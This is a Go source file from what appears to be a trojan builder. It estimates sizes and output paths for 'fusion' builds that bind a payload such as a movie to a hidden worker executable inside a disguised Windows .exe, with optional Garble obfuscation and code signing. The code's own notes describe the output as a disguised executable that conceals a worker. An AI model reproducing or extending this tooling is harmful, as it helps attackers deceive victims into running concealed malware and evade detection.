package builder import ( "fmt" "path/filepath" "strings" ) const ( defaultWorkerBytes int64 = 12 * 1024 * 1024 defaultFusionStubBytes int64 = 2_500_000 resourcePatchOverhead int64 = 150_000 ) type FusionEstimateResponse struct { PrepBytes int64 `json:"prep_bytes"` PrepName string `json:"prep_name"` EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"` EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"` EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"` EstimatedTotalBytes int64 `json:"estimated_total_bytes"` OutputFileName string `json:"output_file_name"` ProjectRootPath string `json:"project_root_path"` ArchivePathHint string `json:"archive_path_hint"` ExportPath string `json:"export_path,omitempty"` Obfuscate bool `json:"obfuscate"` SignBuild bool `json:"sign_build"` Notes []string `json:"notes"` } func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse { kind := strings.TrimSpace(req.FusionPayloadKind) if kind == "" { kind = detectFusionPayloadKind(prepName) if kind == "exe" && prepPath != "" { kind = detectFusionPayloadKind(prepPath) } } mode := normalizeFusionMediaMode(req.FusionMediaMode) outputName := req.FusionOutputName if outputName == "" { outputName = prepName } if outputName == "" { // Default runner name derived from payload filename winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"} outputName = runnerNameForFile(prepName, winPlatform) } if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { outputName += ".exe" } outputName = sanitizeFileName(outputName) workerBytes := h.estimateWorkerBytes() stubBytes := defaultFusionStubBytes var total int64 switch kind { case "video": if mode == "embedded" { total = prepSize + workerBytes + stubBytes + resourcePatchOverhead } else { total = workerBytes + stubBytes + resourcePatchOverhead } default: total = prepSize + workerBytes + stubBytes + resourcePatchOverhead } root := h.projectRoot if root == "" || root == "." { root, _ = filepath.Abs(".") } label := prepName if kind != "video" { label = strings.TrimSuffix(outputName, filepath.Ext(outputName)) } sub := fusionExportSubdir(req, label) projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName) resp := FusionEstimateResponse{ PrepBytes: prepSize, PrepName: prepName, EstimatedWorkerBytes: workerBytes, EstimatedFusionStubBytes: stubBytes, EstimatedResourcePatchBytes: resourcePatchOverhead, EstimatedTotalBytes: total, OutputFileName: outputName, ProjectRootPath: projectOut, ArchivePathHint: filepath.Join(h.dataDir, "builds", "", outputName), Obfuscate: h.shouldObfuscate(req), SignBuild: req.SignBuild, Notes: []string{ fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)), fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)), fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)), fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)), }, } if kind == "video" { if mode == "embedded" { resp.Notes = append(resp.Notes, "Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.", ) } else { resp.Notes = append(resp.Notes, "Option B (paired): runner .exe + encrypted movie in fusion-deliverables//.", fmt.Sprintf("Movie file stays as %q beside the runner.", prepName), ) } resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub) resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath)) } if strings.TrimSpace(req.OutputDir) != "" { clean := filepath.Clean(strings.TrimSpace(req.OutputDir)) if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) { secondary := filepath.Join(root, clean, outputName) if resp.ExportPath == "" { resp.ExportPath = secondary } resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary)) } } if h.shouldObfuscate(req) && h.garblePath == "" { resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).") } if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") { resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.") } return resp } func (h *Handler) estimateWorkerBytes() int64 { if h.db == nil { return defaultWorkerBytes } builds, err := h.db.ListBuilds(40) if err != nil || len(builds) == 0 { return defaultWorkerBytes } var sum int64 var count int64 for _, b := range builds { base := strings.ToLower(filepath.Base(b.FilePath)) if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") { if b.FileSize > 0 { sum += b.FileSize count++ } } } if count == 0 { return defaultWorkerBytes } return sum / count } func formatBytes(n int64) string { const unit = 1024 if n < unit { return fmt.Sprintf("%d B", n) } div, exp := int64(unit), 0 for v := n / unit; v >= unit; v /= unit { div *= unit exp++ } return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp]) }